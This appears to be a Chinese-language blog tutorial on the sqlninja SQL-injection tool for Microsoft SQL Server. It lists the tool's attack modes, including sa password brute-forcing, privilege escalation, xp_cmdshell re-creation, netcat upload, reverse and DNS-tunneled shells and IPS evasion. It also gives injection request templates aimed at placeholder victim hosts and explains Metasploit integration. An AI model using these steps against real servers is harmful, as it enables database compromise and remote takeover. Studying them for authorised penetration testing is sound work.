当前位置: 首页 > 工具软件 > SQLninja > 使用案例 >

sqlninja 说明

杨彦君
2023-12-01

首先来介绍一下sqlninja的优点。

  • 一个专门针对Microsoft SQL Server的sql注入工具
  • 可找到远程SQL服务器的标志和特征(版本、用户执行的查询、用户特权、xp_cmdshell的可用性、身份验证模式等)
  • “sa”口令的强力攻击
  • 如果找到口令后,就将特权提升到“sa”
  • 如果原始的xp_cmdshell被禁用后,就创建一个定制的xp_cmdshell。
  • 使用纯粹的ASCII GET/POST请求来上载netcat.exe程序(以及其它任何可执行的程序),因此并不需要FTP连接。
  • 为了找到目标网络的防火墙所允许的端口,可以实施针对目标SQL 服务器的TCP/UDP端口扫描。
  • 逃避技术,这是为了使注入式代码“模糊”不清,并且混淆/绕过基于签名的IPS和应用层防火墙。
  • 采用“盲目执行”攻击模式,在其它模式失效时,可以用于发布命令并执行诊断。
  • 在sqlninja生成的SQL代码上,执行的是自动化的URL编码,这使得用户可以更精细地控制漏洞利用的字符串。
  • 如果得到权限为sa,可以结合msf进一步对目标主机进行渗透。

sqlninja的一些常用命令.

./sqlninja
       -m <mode> : Required. Available modes are:  //加载modle
         t/test - test whether the injection is working   //测试注入点是否可用
         f/fingerprint - fingerprint user, xp_cmdshell and more
         b/bruteforce - bruteforce sa account //爆破sa口令用的。。可以-w指定字典,也可以不使用字典,这样sqlninja就会自己穷举
         e/escalation - add user to sysadmin server role
         x/resurrectxp - try to recreate xp_cmdshell  //尝试创建
         u/upload - upload a .scr file   //上传
         s/dirshell - start a direct shell  //获得一个目标主机的shell
         k/backscan - look for an open outbound port  //查找目标主机允许哪些端口外连
         r/revshell - start a reverse shell  //反弹shell
         d/dnstunnel - attempt a dns tunneled shell
         c/sqlcmd - issue a 'blind' OS command //执行系统命令,如果为sa的话直接可以net user
         m/metasploit - wrapper to Metasploit stagers  //配合msf使用
       -f <file> : configuration file (default: sqlninja.conf) //配置sqlninja.conf文件
       -p <password> : sa password
       -w <wordlist> : wordlist to use in bruteforce mode (dictionary methodonly) //字典文件的路径。。爆破sa密码用的
       -v : verbose output
       -d <mode> : activate debug //调试模式
         1 - print each injected command
         2 - print each raw HTTP request
         3 - print each raw HTTP response
         all - all of the above
在-f下面又有以下参数
   0 - Database version (2000/2005)   //检测当前数据库版本
   1 - Database user   //当前数据库用户
   2 - Database user rights  //当前数据库用户权限
   3 - Whether xp_cmdshell is working  //检查xp_cmdshell是否可以用
   4 - Whether mixed or Windows-only authentication is used  //是否windows本地系统权限
   a - All of the above  //以上所有选项
   h - Print this menu   //显示当前帮助菜单
   q - exit  //退出

刚开是搞的时候,在网上搜了半天的资料也没有找到怎么注入链接,参数里面没有像 sqlmap那样有
-u参数,最后才知道是在配置目录下的sqlninja.conf配置文件,打开配置文件后发现里面的选项特别

多,这里只是简单的进行注入,在配置文件中找到如下信息

# GET EXAMPLE:
--httprequest_start--
GET http://www.xxx.com/informationdetail.aspx?id=11&titleid=%e3h;__SQL2INJECT__ HTTP/1.1
Host: www.xxxx.com
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept:*/*
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: Keep-alive
--httprequest_end--
#
# POST EXAMPLE: (The Content-Length Header is automatically added by sqlninja!)
# --httprequest_start--
# POST https://www.victim.com/page.asp HTTP/1.0
# Host: www.victim.com
# User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
# Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
# Accept-Language: en-us,en;q=0.7,it;q=0.3
# Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
# Content-Type: application/x-www-form-urlencoded
# Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx
# Authorization: Basic yyyyyyyyyyyyyyyyyyyyy
# Connection: close
#
# vulnerableparam=aaa';__SQL2INJECT__&otherparam=blah
# --httprequest_end--
#
# HEADER-BASED EXAMPLE:
# --httprequest_start--
# GET http://www.victim.com/page.asp HTTP/1.0
# Host: www.victim.com
# User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
# Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
# Accept-Language: en-us,en;q=0.7,it;q=0.3
# Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
# Content-Type: application/x-www-form-urlencoded
# Cookie: VulnCookie=xxx'%3B__SQL2INJECT__
# Connection: close
# --httprequest_end--
#

这里有三种方式GET,POST,HEADER-BASED三个配置例子,根据你的注入点进行抓包判断,修改里面对应的信息,如果
你会发现每个注入链接会有个;__SQL2INJECT__。所以在配置的时候不要忘记了加上。
如果要使用其他的功能比如结合msf的话,请自行加上相应的配置,以上步骤配置完成后,就可以进行测试了。

用./sqlninja -m test命令检测注入点是否可用。成功的话会显示[+] Injection was successful! Let’s rock !! 那么就可以使用上面提到的命令。

使用./sqlninja -m metasploit命令可以和msf相结合起来,让渗透更加方便,如果使用metasploit里面的shellcode,这个默认是没有启用的,需要修改sqlninja.conf中metasploit配置位置修改
# Path to metasploit executable. Only needed if msfpayload and
# msfcli are not already in the path
msfpath = /pentest/exploits/framework3/   #去掉前面的注释符号,这里修改成你的framework3的安装位置。
如果有写的不对的地方,欢迎留言更正。
如果需要更详细的了解可以去http://sqlninja.sourceforge.net/sqlninja-howto.html 看看

 类似资料: